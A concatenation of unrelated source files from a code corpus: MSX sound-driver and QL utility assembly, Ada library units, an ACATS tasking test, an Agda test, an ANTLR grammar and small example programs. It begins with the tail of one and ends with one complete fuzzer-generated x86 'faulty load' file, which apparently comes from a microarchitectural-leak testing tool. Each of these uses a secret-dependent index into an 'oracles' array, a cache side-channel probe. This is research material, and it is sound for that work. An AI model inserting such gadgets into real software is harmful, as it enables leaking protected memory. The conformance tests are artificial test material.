lea oracles, %r10
and $0xff, %r9
shlq $12, %r9
mov (%r10,%r9,1), %r9
pop %rsi
pop %rdi
pop %rcx
pop %rbx
pop %rbp
pop %r9
pop %r13
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'src': {'type': 'addresses_WC', 'same': False, 'size': 8, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'dst': {'type': 'addresses_A', 'same': False, 'size': 32, 'congruent': 1, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'dst': {'type': 'addresses_WT', 'same': False, 'size': 16, 'congruent': 1, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'src': {'type': 'addresses_PSE', 'congruent': 9, 'same': False}, 'dst': {'type': 'addresses_D', 'congruent': 7, 'same': False}, 'OP': 'REPM'}
{'dst': {'type': 'addresses_WT', 'same': False, 'size': 1, 'congruent': 5, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'dst': {'type': 'addresses_WT', 'same': False, 'size': 32, 'congruent': 8, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'dst': {'type': 'addresses_WT', 'same': False, 'size': 8, 'congruent': 0, 'NT': True, 'AVXalign': True}, 'OP': 'STOR'}
{'dst': {'type': 'addresses_WC', 'same': True, 'size': 4, 'congruent': 0, 'NT': True, 'AVXalign': False}, 'OP': 'STOR'}
{'dst': {'type': 'addresses_RW', 'same': False, 'size': 8, 'congruent': 6, 'NT': True, 'AVXalign': False}, 'OP': 'STOR'}
[Faulty Load]
{'src': {'type': 'addresses_WC', 'same': True, 'size': 32, 'congruent': 0, 'NT': False, 'AVXalign': True}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'src': {'type': 'addresses_normal_ht', 'congruent': 4, 'same': False}, 'dst': {'type': 'addresses_WT_ht', 'congruent': 5, 'same': False}, 'OP': 'REPM'}
{'src': {'type': 'addresses_A_ht', 'same': True, 'size': 32, 'congruent': 0, 'NT': False, 'AVXalign': True}, 'OP': 'LOAD'}
{'68': 4, '33': 3, '58': 1, '45': 2, '7d': 10, '00': 21695, 'ff': 23, '07': 79, '08': 12}
00 07 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 07 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 07 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
*/
|
src/drivers/emulations/OPN2OnOPNATurboRPCM.asm | sharksym/vgmplay-sharksym | 6 | 104614 | <filename>src/drivers/emulations/OPN2OnOPNATurboRPCM.asm
;
; OPN2 on OPNA + turboR PCM driver
;
OPN2OnOPNATurboRPCM_CLOCK: equ 7670453
OPN2OnOPNATurboRPCM: MACRO
super: Driver Device_noName, OPN2OnOPNATurboRPCM_CLOCK, OPN2OnOPNATurboRPCM_PrintInfoImpl
opnaDriver:
dw 0
turboRPCMDriver:
dw 0
frequencyMSBs:
ds 12
; e = register
; d = value
SafeWriteRegister: PROC
ld a,e
cp 2AH
jp z,System_Return
writePCMRegister: equ $ - 2
cp 0A0H
jr c,SafeWriteFMRegister
cp 0B0H
jr c,WriteFrequency
SafeWriteFMRegister:
jp System_Return
safeWriteFMRegister: equ $ - 2
WriteFrequency:
bit 2,a
jr z,WriteFrequencyLSB
WriteFrequencyMSB:
ld c,a
ld b,0
ld hl,-0A4H + frequencyMSBs
add hl,bc
ld (hl),d
ret
WriteFrequencyLSB:
push af
ld c,a
ld b,0
ld hl,-0A0H + frequencyMSBs
add hl,bc
ld h,(hl)
ld l,d
ld bc,8000H
clockRatio: equ $ - 2
call OPN2OnOPNATurboRPCM_AdjustFrequency
pop af
ld h,e
ld l,a
push hl
add a,-0A0H + 0A4H
call WriteFMRegister
pop de
ld a,e
WriteFMRegister:
jp System_Return
writeFMRegister: equ $ - 2
ENDP
; e = register
; d = value
SafeWriteRegister2: PROC
ld a,e
cp 0A0H
jr c,SafeWriteFMRegister
cp 0A4H
jr c,WriteFrequencyLSB
cp 0A8H
jr c,WriteFrequencyMSB
SafeWriteFMRegister:
jp System_Return
safeWriteFMRegister: equ $ - 2
WriteFrequencyMSB:
ld c,a
ld b,0
ld hl,-0A4H + frequencyMSBs + 4
add hl,bc
ld (hl),d
ret
WriteFrequencyLSB:
push af
ld c,a
ld b,0
ld hl,-0A0H + frequencyMSBs + 4
add hl,bc
ld h,(hl)
ld l,d
ld bc,8000H
clockRatio: equ $ - 2
call OPN2OnOPNATurboRPCM_AdjustFrequency
pop af
ld h,e
ld l,a
push hl
add a,-0A0H + 0A4H
call WriteFMRegister
pop de
ld a,e
WriteFMRegister:
jp System_Return
writeFMRegister: equ $ - 2
ENDP
; d = value
SafeWritePCMRegister: PROC
jp System_Return
writePCMRegister: equ $ - 2
ENDP
ENDM
; dehl = clock
; ix = this
; iy = drivers
OPN2OnOPNATurboRPCM_Construct:
call Driver_Construct
call Device_SetClock
call OPN2OnOPNATurboRPCM_TryCreateOPNA
jp nc,Driver_NotFound
push bc
ld (ix + OPN2OnOPNATurboRPCM.opnaDriver),e
ld (ix + OPN2OnOPNATurboRPCM.opnaDriver + 1),d
ld bc,OPN2OnOPNATurboRPCM.SafeWriteRegister.safeWriteFMRegister
call Device_ConnectInterface
ld bc,OPN2OnOPNATurboRPCM.SafeWriteRegister2.safeWriteFMRegister
call Device_ConnectInterface
pop hl
ld bc,OPN2OnOPNATurboRPCM.SafeWriteRegister.writeFMRegister
call Device_ConnectInterface
ld bc,OPN2OnOPNATurboRPCM.SafeWriteRegister2.writeFMRegister
call Device_ConnectInterface
call OPN2OnOPNATurboRPCM_CalculateClockRatio
ld (ix + OPN2OnOPNATurboRPCM.SafeWriteRegister.clockRatio),l
ld (ix + OPN2OnOPNATurboRPCM.SafeWriteRegister.clockRatio + 1),h
ld (ix + OPN2OnOPNATurboRPCM.SafeWriteRegister2.clockRatio),l
ld (ix + OPN2OnOPNATurboRPCM.SafeWriteRegister2.clockRatio + 1),h
call OPN2OnOPNATurboRPCM_TryCreatePCM
ret nc
ld (ix + OPN2OnOPNATurboRPCM.turboRPCMDriver),e
ld (ix + OPN2OnOPNATurboRPCM.turboRPCMDriver + 1),d
ld bc,OPN2OnOPNATurboRPCM.SafeWriteRegister.writePCMRegister
call Device_ConnectInterface
ld bc,OPN2OnOPNATurboRPCM.SafeWritePCMRegister.writePCMRegister
jp Device_ConnectInterfaceAgain
; ix = this
OPN2OnOPNATurboRPCM_Destruct: equ System_Return
; ret
; de = other device
; ix = this
; hl = ratio (1.15 fixed point)
OPN2OnOPNATurboRPCM_CalculateClockRatio: PROC
push ix
ld ixl,e
ld ixh,d
call Device_GetClock
add hl,hl
rl e
ld c,h
ld b,e
pop ix
call Device_GetClock
ld d,e
ld e,h
ld h,l
ld l,0
push bc
srl b
rr c
add hl,bc
pop bc
jr nc,NoCarry
inc de
NoCarry:
jp Math_Divide32x16
ENDP
; bc = multiplier
; hl = old block + fnum
; de <- new block + fnum
OPN2OnOPNATurboRPCM_AdjustFrequency: PROC
ld a,h
and 00111000B
push af
ld a,h
and 00000111B
ld h,a
call Math_Multiply16x16
pop af
bit 2,d
jr z,NoOverflow
add a,8
or d
ld d,a
bit 6,a
ret z
ld de,3FFFH
ret
NoOverflow:
rl h
rl e
rl d
or d
ld d,a
ret
ENDP
; iy = drivers
; ix = this
; de <- driver
; hl <- device interface
; bc <- device direct interface
; f <- c: succeeded
OPN2OnOPNATurboRPCM_TryCreateOPNA:
call Drivers_TryCreateMakoto_IY
ld hl,Makoto_interface
ld bc,Makoto_interfaceDirect
ret
; iy = drivers
; ix = this
; de <- driver
; hl <- device interface
; f <- c: succeeded
OPN2OnOPNATurboRPCM_TryCreatePCM: equ OPN2OnTurboRPCM_TryCreatePCM
; jp OPN2OnTurboRPCM_TryCreatePCM
; ix = this
OPN2OnOPNATurboRPCM_PrintInfoImpl:
ld de,OPN2OnOPNATurboRPCM.opnaDriver
call Driver_PrintInfoIXOffset
ld de,OPN2OnOPNATurboRPCM.turboRPCMDriver
jp Driver_PrintInfoIXOffset
;
SECTION RAM
OPN2OnOPNATurboRPCM_instance: OPN2OnOPNATurboRPCM
ENDS
OPN2OnOPNATurboRPCM_interface:
InterfaceOffset OPN2OnOPNATurboRPCM.SafeWriteRegister
InterfaceOffset OPN2OnOPNATurboRPCM.SafeWriteRegister2
InterfaceOffset OPN2OnOPNATurboRPCM.SafeWritePCMRegister
|
source/streams/a-iomode.ads | ytomino/drake | 33 | 18185 | pragma License (Unrestricted);
-- extended unit
package Ada.IO_Modes is
-- Root types of File_Mode and for the parameters Form.
pragma Pure;
type File_Mode is (In_File, Out_File, Append_File);
type Inout_File_Mode is (In_File, Inout_File, Out_File); -- Direct_IO
-- the types for the parameters Form of Stream_IO
type File_Shared_Spec is (
Allow, -- "shared=allow", "shared=yes", or "shared=no"
Read_Only, -- "shared=read"
Deny, -- "shared=deny"
By_Mode); -- default
type File_Shared is new File_Shared_Spec range Allow .. Deny;
-- subtype File_Wait is Boolean;
-- False as "wait=false", or default
-- True as "wait=true"
-- subtype File_Overwrite is Boolean;
-- False as "overwrite=false"
-- True as "overwrite=true", or default
-- the types for the parameters Form of Text_IO
type File_External_Base is (
Terminal,
UTF_8, -- "external=utf-8", or "wcem=8"
Locale, -- "external=dbcs", Windows only
By_Target); -- default, UTF_8 in POSIX, or Locale in Windows
type File_External_Spec is new File_External_Base range UTF_8 .. By_Target;
type File_External is new File_External_Base range Terminal .. Locale;
type File_New_Line_Spec is (
LF, -- "nl=lf"
CR, -- "nl=cr"
CR_LF, -- "nl=m"
By_Target); -- default, LF in POSIX, or CR_LF in Windows
type File_New_Line is new File_New_Line_Spec range LF .. CR_LF;
end Ada.IO_Modes;
|
util/menus/getexts.asm | olifink/smsqe | 0 | 15575 | <filename>util/menus/getexts.asm
; Read all extensions into table 1994 <NAME>
section utility
include dev8_mac_xref
include dev8_keys_thg
xdef mu_getexts ; get pre-defined extensions
;+++
; Reads all eight pre-defined extensions into a table. The table has to be
; 64 bytes long, every entry containing a word length and up to 6 chars.
;
; Entry Exit
; a5 ptr to table preserved
;
; All possible error returns from Menu.
;---
mu_getexts
stk_frm equ 16
get_reg reg d4/a1/a4-a5
movem.l get_reg,-(sp)
move.l #'INFO',d2
xbsr ut_usmen ; try to use Menu Thing
bne.s no_menu
move.l a1,a4 ; address of Thing
sub.l #stk_frm,sp
move.l sp,a1 ; here is our parameter table
move.l #(thp.ret+thp.str)<<16,4(a1) ; return parameter is string
moveq #0,d4 ; start with first extension
get_loop
move.l d4,(a1) ; inquiry key
move.l a5,8(a1) ; result to here
jsr thh_code(a4) ; call routine to get string
bne.s get_error
addq.l #8,a5 ; point to next result location
addq.b #1,d4
cmp.b #8,d4 ; all done?
bne.s get_loop
get_error
xbsr ut_frmen ; finally free Menu Extension
add.l #stk_frm,sp
no_menu
movem.l (sp)+,get_reg
tst.l d0
rts
end
|
test/Fail/Erased-cubical-Module-application/Cubical.agda | cagix/agda | 1,989 | 8204 | <reponame>cagix/agda
{-# OPTIONS --cubical #-}
module Erased-cubical-Module-application.Cubical (_ : Set₁) where
open import Agda.Builtin.Cubical.Path
data ∥_∥ (A : Set) : Set where
∣_∣ : A → ∥ A ∥
trivial : (x y : ∥ A ∥) → x ≡ y
|
other.7z/SFC.7z/SFC/ソースデータ/ゼルダの伝説神々のトライフォース/ドイツ_PAL/Ger_asm1/zel_label.asm | prismotizm/gigaleak | 0 | 242432 | Name: zel_label.asm
Type: file
Size: 17565
Last-Modified: '2016-05-13T04:23:03Z'
SHA-1: FDFF0FAEEAEDAEF1B8F50542B10EAE94E961A17B
Description: null
|
Task/Arithmetic-Integer/Ada/arithmetic-integer.ada | LaudateCorpus1/RosettaCodeData | 1 | 11243 | <filename>Task/Arithmetic-Integer/Ada/arithmetic-integer.ada
with Ada.Text_Io;
with Ada.Integer_Text_IO;
procedure Integer_Arithmetic is
use Ada.Text_IO;
use Ada.Integer_Text_Io;
A, B : Integer;
begin
Get(A);
Get(B);
Put_Line("a+b = " & Integer'Image(A + B));
Put_Line("a-b = " & Integer'Image(A - B));
Put_Line("a*b = " & Integer'Image(A * B));
Put_Line("a/b = " & Integer'Image(A / B));
Put_Line("a mod b = " & Integer'Image(A mod B)); -- Sign matches B
Put_Line("remainder of a/b = " & Integer'Image(A rem B)); -- Sign matches A
Put_Line("a**b = " & Integer'Image(A ** B));
end Integer_Arithmetic;
|
source/nodes/program-nodes-modular_types.adb | reznikmm/gela | 0 | 13134 | -- SPDX-FileCopyrightText: 2019 <NAME> <<EMAIL>>
--
-- SPDX-License-Identifier: MIT
-------------------------------------------------------------
package body Program.Nodes.Modular_Types is
function Create
(Mod_Token : not null Program.Lexical_Elements.Lexical_Element_Access;
Modulus : not null Program.Elements.Expressions.Expression_Access)
return Modular_Type is
begin
return Result : Modular_Type :=
(Mod_Token => Mod_Token, Modulus => Modulus, Enclosing_Element => null)
do
Initialize (Result);
end return;
end Create;
function Create
(Modulus : not null Program.Elements.Expressions
.Expression_Access;
Is_Part_Of_Implicit : Boolean := False;
Is_Part_Of_Inherited : Boolean := False;
Is_Part_Of_Instance : Boolean := False)
return Implicit_Modular_Type is
begin
return Result : Implicit_Modular_Type :=
(Modulus => Modulus, Is_Part_Of_Implicit => Is_Part_Of_Implicit,
Is_Part_Of_Inherited => Is_Part_Of_Inherited,
Is_Part_Of_Instance => Is_Part_Of_Instance, Enclosing_Element => null)
do
Initialize (Result);
end return;
end Create;
overriding function Modulus
(Self : Base_Modular_Type)
return not null Program.Elements.Expressions.Expression_Access is
begin
return Self.Modulus;
end Modulus;
overriding function Mod_Token
(Self : Modular_Type)
return not null Program.Lexical_Elements.Lexical_Element_Access is
begin
return Self.Mod_Token;
end Mod_Token;
overriding function Is_Part_Of_Implicit
(Self : Implicit_Modular_Type)
return Boolean is
begin
return Self.Is_Part_Of_Implicit;
end Is_Part_Of_Implicit;
overriding function Is_Part_Of_Inherited
(Self : Implicit_Modular_Type)
return Boolean is
begin
return Self.Is_Part_Of_Inherited;
end Is_Part_Of_Inherited;
overriding function Is_Part_Of_Instance
(Self : Implicit_Modular_Type)
return Boolean is
begin
return Self.Is_Part_Of_Instance;
end Is_Part_Of_Instance;
procedure Initialize (Self : in out Base_Modular_Type'Class) is
begin
Set_Enclosing_Element (Self.Modulus, Self'Unchecked_Access);
null;
end Initialize;
overriding function Is_Modular_Type
(Self : Base_Modular_Type)
return Boolean is
pragma Unreferenced (Self);
begin
return True;
end Is_Modular_Type;
overriding function Is_Type_Definition
(Self : Base_Modular_Type)
return Boolean is
pragma Unreferenced (Self);
begin
return True;
end Is_Type_Definition;
overriding function Is_Definition
(Self : Base_Modular_Type)
return Boolean is
pragma Unreferenced (Self);
begin
return True;
end Is_Definition;
overriding procedure Visit
(Self : not null access Base_Modular_Type;
Visitor : in out Program.Element_Visitors.Element_Visitor'Class) is
begin
Visitor.Modular_Type (Self);
end Visit;
overriding function To_Modular_Type_Text
(Self : in out Modular_Type)
return Program.Elements.Modular_Types.Modular_Type_Text_Access is
begin
return Self'Unchecked_Access;
end To_Modular_Type_Text;
overriding function To_Modular_Type_Text
(Self : in out Implicit_Modular_Type)
return Program.Elements.Modular_Types.Modular_Type_Text_Access is
pragma Unreferenced (Self);
begin
return null;
end To_Modular_Type_Text;
end Program.Nodes.Modular_Types;
|
tests/testAssembler/testCases/prog2.asm | 1sand0s/Lc3B-Assembler | 0 | 11445 | <reponame>1sand0s/Lc3B-Assembler<gh_stars>0
.ORIG x4000
MAIN LEA R2,L0
JSRR R2
JSR L1
HALT
L0 ADD R0,R0,#5
RET
L1 ADD R1,R1,#5
RET
.END
|
src/main/antlr/GraphqlOperation.g4 | juhovh/graphql-java | 1 | 2055 | grammar GraphqlOperation;
import GraphqlCommon;
operationDefinition:
selectionSet |
operationType name? variableDefinitions? directives? selectionSet;
variableDefinitions : '(' variableDefinition+ ')';
variableDefinition : variable ':' type defaultValue?;
selectionSet : '{' selection+ '}';
selection :
field |
fragmentSpread |
inlineFragment;
field : alias? name arguments? directives? selectionSet?;
alias : name ':';
fragmentSpread : '...' fragmentName directives?;
inlineFragment : '...' typeCondition? directives? selectionSet;
fragmentDefinition : 'fragment' fragmentName typeCondition directives? selectionSet;
fragmentName : name;
typeCondition : 'on' typeName;
|
gcc-gcc-7_3_0-release/gcc/testsuite/ada/acats/tests/c9/c97301a.ada | best08618/asylo | 7 | 16018 | -- C97301A.ADA
-- Grant of Unlimited Rights
--
-- Under contracts F33600-87-D-0337, F33600-84-D-0280, MDA903-79-C-0687,
-- F08630-91-C-0015, and DCA100-97-D-0025, the U.S. Government obtained
-- unlimited rights in the software and documentation contained herein.
-- Unlimited rights are defined in DFAR 252.227-7013(a)(19). By making
-- this public release, the Government intends to confer upon all
-- recipients unlimited rights equal to those held by the Government.
-- These rights include rights to use, duplicate, release or disclose the
-- released technical data and computer software in whole or in part, in
-- any manner and for any purpose whatsoever, and to have or permit others
-- to do so.
--
-- DISCLAIMER
--
-- ALL MATERIALS OR INFORMATION HEREIN RELEASED, MADE AVAILABLE OR
-- DISCLOSED ARE AS IS. THE GOVERNMENT MAKES NO EXPRESS OR IMPLIED
-- WARRANTY AS TO ANY MATTER WHATSOEVER, INCLUDING THE CONDITIONS OF THE
-- SOFTWARE, DOCUMENTATION OR OTHER INFORMATION RELEASED, MADE AVAILABLE
-- OR DISCLOSED, OR THE OWNERSHIP, MERCHANTABILITY, OR FITNESS FOR A
-- PARTICULAR PURPOSE OF SAID MATERIAL.
--*
-- CHECK THAT A TIMED_ENTRY_CALL DELAYS FOR AT LEAST THE SPECIFIED
-- AMOUNT OF TIME IF A RENDEVOUS IS NOT POSSIBLE.
-- CASE A: THE TASK TO BE CALLED HAS NOT YET BEEN ACTIVATED AS OF THE
-- MOMENT OF CALL.
-- RJW 3/31/86
with Impdef;
WITH REPORT; USE REPORT;
WITH CALENDAR; USE CALENDAR;
PROCEDURE C97301A IS
WAIT_TIME : CONSTANT DURATION := 10.0 * Impdef.One_Second;
OR_BRANCH_TAKEN : INTEGER := 3;
BEGIN
TEST ("C97301A", "CHECK THAT A TIMED_ENTRY_CALL DELAYS FOR AT " &
"LEAST THE SPECIFIED AMOUNT OF TIME WHEN THE " &
"CALLED TASK IS NOT ACTIVE" );
------------------------------------------------------------------
DECLARE
TASK T IS
ENTRY DO_IT_NOW_OR_WAIT ( AUTHORIZED : IN BOOLEAN );
END T;
TASK BODY T IS
PACKAGE SECOND_ATTEMPT IS END SECOND_ATTEMPT;
PACKAGE BODY SECOND_ATTEMPT IS
START_TIME : TIME;
BEGIN
START_TIME := CLOCK;
SELECT
DO_IT_NOW_OR_WAIT (FALSE); --CALLING OWN ENTRY.
OR
-- THEREFORE THIS BRANCH
-- MUST BE CHOSEN.
DELAY WAIT_TIME;
IF CLOCK >= (WAIT_TIME + START_TIME) THEN
NULL;
ELSE
FAILED ( "INSUFFICIENT DELAY (#2)" );
END IF;
OR_BRANCH_TAKEN := 2 * OR_BRANCH_TAKEN;
COMMENT( "OR_BRANCH TAKEN (#2)" );
END SELECT;
END SECOND_ATTEMPT;
BEGIN
ACCEPT DO_IT_NOW_OR_WAIT ( AUTHORIZED : IN BOOLEAN ) DO
IF AUTHORIZED THEN
COMMENT( "AUTHORIZED ENTRY_CALL" );
ELSE
FAILED( "UNAUTHORIZED ENTRY_CALL" );
END IF;
END DO_IT_NOW_OR_WAIT;
END T;
PACKAGE FIRST_ATTEMPT IS END FIRST_ATTEMPT;
PACKAGE BODY FIRST_ATTEMPT IS
START_TIME : TIME;
BEGIN
START_TIME := CLOCK;
SELECT
T.DO_IT_NOW_OR_WAIT (FALSE);
OR
-- THIS BRANCH MUST BE CHOSEN.
DELAY WAIT_TIME;
IF CLOCK >= (WAIT_TIME + START_TIME) THEN
NULL;
ELSE
FAILED ( "INSUFFICIENT DELAY (#1)" );
END IF;
OR_BRANCH_TAKEN := 1 + OR_BRANCH_TAKEN;
COMMENT( "OR_BRANCH TAKEN (#1)" );
END SELECT;
END FIRST_ATTEMPT;
BEGIN
T.DO_IT_NOW_OR_WAIT ( TRUE ); -- TO SATISFY THE SERVER'S
-- WAIT FOR SUCH A CALL.
EXCEPTION
WHEN TASKING_ERROR =>
FAILED( "TASKING ERROR" );
END ;
------------------------------------------------------------------
-- BY NOW, THE TASK IS TERMINATED (AND THE NONLOCALS UPDATED).
CASE OR_BRANCH_TAKEN IS
WHEN 3 =>
FAILED( "NO 'OR'; BOTH (?) RENDEZVOUS ATTEMPTED?" );
WHEN 4 =>
FAILED( "'OR' #1 ONLY; RENDEZVOUS (#2) ATTEMPTED?" );
WHEN 6 =>
FAILED( "'OR' #2 ONLY; RENDEZVOUS (#1) ATTEMPTED?" );
WHEN 7 =>
FAILED( "WRONG ORDER FOR 'OR': #2,#1" );
WHEN 8 =>
NULL;
WHEN OTHERS =>
FAILED( "WRONG CASE_VALUE" );
END CASE;
RESULT;
END C97301A;
|
Transynther/x86/_processed/NONE/_xt_/i9-9900K_12_0xa0_notsx.log_21829_219.asm | ljhsiun2/medusa | 9 | 95748 | .global s_prepare_buffers
s_prepare_buffers:
push %r12
push %r15
push %r8
push %r9
push %rbp
push %rcx
push %rdi
push %rsi
lea addresses_A_ht+0x2272, %rsi
lea addresses_UC_ht+0x187dc, %rdi
nop
nop
nop
nop
nop
sub %r12, %r12
mov $40, %rcx
rep movsb
nop
nop
nop
nop
nop
add %rsi, %rsi
lea addresses_WT_ht+0x19fdc, %rbp
nop
nop
and $7996, %r12
movups (%rbp), %xmm6
vpextrq $0, %xmm6, %r15
inc %rdi
lea addresses_D_ht+0x1466c, %rbp
nop
nop
nop
nop
nop
xor %r8, %r8
movl $0x61626364, (%rbp)
nop
nop
nop
add %r8, %r8
lea addresses_D_ht+0x177dc, %rsi
add $28218, %r8
movups (%rsi), %xmm0
vpextrq $1, %xmm0, %r12
nop
nop
nop
nop
and %rdi, %rdi
lea addresses_A_ht+0x32dc, %rdi
nop
nop
nop
nop
nop
sub %r8, %r8
mov $0x6162636465666768, %rbp
movq %rbp, %xmm7
movups %xmm7, (%rdi)
nop
nop
xor %r15, %r15
lea addresses_WC_ht+0x60d0, %rbp
nop
nop
inc %r8
mov (%rbp), %rcx
nop
nop
nop
dec %r15
lea addresses_D_ht+0x10bdc, %r15
nop
nop
cmp $45064, %rbp
vmovups (%r15), %ymm3
vextracti128 $0, %ymm3, %xmm3
vpextrq $0, %xmm3, %rsi
nop
cmp $698, %r8
lea addresses_normal_ht+0x11704, %rdi
nop
nop
nop
nop
nop
xor %r15, %r15
and $0xffffffffffffffc0, %rdi
vmovaps (%rdi), %ymm7
vextracti128 $1, %ymm7, %xmm7
vpextrq $1, %xmm7, %rcx
nop
nop
xor %rdi, %rdi
lea addresses_normal_ht+0x7dc, %rsi
lea addresses_D_ht+0x119dc, %rdi
clflush (%rsi)
nop
nop
nop
nop
nop
sub $32978, %r9
mov $102, %rcx
rep movsl
nop
nop
nop
cmp %rdi, %rdi
lea addresses_A_ht+0x1bde0, %r15
nop
nop
nop
nop
sub %r9, %r9
mov $0x6162636465666768, %r8
movq %r8, (%r15)
xor %rcx, %rcx
lea addresses_A_ht+0xdfdc, %rsi
lea addresses_D_ht+0x5312, %rdi
nop
nop
nop
nop
nop
and $62810, %r15
mov $97, %rcx
rep movsw
nop
and $10558, %rbp
lea addresses_WC_ht+0x5fdc, %rcx
nop
nop
and %r12, %r12
mov $0x6162636465666768, %rdi
movq %rdi, %xmm6
movups %xmm6, (%rcx)
nop
nop
nop
nop
nop
cmp %rbp, %rbp
lea addresses_normal_ht+0x4cbc, %r8
nop
nop
nop
nop
nop
dec %r9
mov $0x6162636465666768, %rdi
movq %rdi, (%r8)
nop
nop
nop
nop
cmp $63922, %r9
lea addresses_normal_ht+0x31dc, %r9
nop
nop
nop
nop
nop
mfence
vmovups (%r9), %ymm4
vextracti128 $0, %ymm4, %xmm4
vpextrq $0, %xmm4, %r12
nop
nop
nop
nop
xor $28898, %rsi
lea addresses_normal_ht+0x3688, %rcx
nop
nop
nop
inc %r12
mov $0x6162636465666768, %rbp
movq %rbp, %xmm3
vmovups %ymm3, (%rcx)
xor %rdi, %rdi
pop %rsi
pop %rdi
pop %rcx
pop %rbp
pop %r9
pop %r8
pop %r15
pop %r12
ret
.global s_faulty_load
s_faulty_load:
push %rax
push %rbp
push %rbx
push %rcx
push %rdx
push %rsi
// Faulty Load
lea addresses_RW+0x137dc, %rbp
nop
inc %rdx
mov (%rbp), %rsi
lea oracles, %rbx
and $0xff, %rsi
shlq $12, %rsi
mov (%rbx,%rsi,1), %rsi
pop %rsi
pop %rdx
pop %rcx
pop %rbx
pop %rbp
pop %rax
ret
/*
<gen_faulty_load>
[REF]
{'src': {'type': 'addresses_RW', 'AVXalign': False, 'size': 32, 'NT': False, 'same': False, 'congruent': 0}, 'OP': 'LOAD'}
[Faulty Load]
{'src': {'type': 'addresses_RW', 'AVXalign': False, 'size': 8, 'NT': False, 'same': True, 'congruent': 0}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'src': {'type': 'addresses_A_ht', 'congruent': 0, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_UC_ht', 'congruent': 6, 'same': False}}
{'src': {'type': 'addresses_WT_ht', 'AVXalign': False, 'size': 16, 'NT': False, 'same': False, 'congruent': 11}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'type': 'addresses_D_ht', 'AVXalign': False, 'size': 4, 'NT': False, 'same': False, 'congruent': 3}}
{'src': {'type': 'addresses_D_ht', 'AVXalign': False, 'size': 16, 'NT': False, 'same': False, 'congruent': 10}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'type': 'addresses_A_ht', 'AVXalign': False, 'size': 16, 'NT': False, 'same': False, 'congruent': 8}}
{'src': {'type': 'addresses_WC_ht', 'AVXalign': False, 'size': 8, 'NT': False, 'same': False, 'congruent': 2}, 'OP': 'LOAD'}
